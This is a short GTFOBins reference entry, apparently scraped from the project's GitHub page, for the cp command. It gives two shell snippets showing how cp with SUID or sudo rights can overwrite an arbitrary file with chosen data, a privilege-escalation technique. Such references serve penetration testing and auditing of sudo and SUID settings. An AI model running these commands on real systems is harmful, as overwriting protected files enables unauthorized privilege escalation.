GTFOBins.github.io/_gtfobins/cp.md
2018-09-05 17:38:32 +01:00

407 B

description functions
This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
suid-enabled sudo-enabled
code
LFILE=file_to_write TF=$(mktemp) echo "DATA" > $TF ./cp $TF $LFILE
code
LFILE=file_to_write TF=$(mktemp) echo "DATA" > $TF sudo cp $TF $LFILE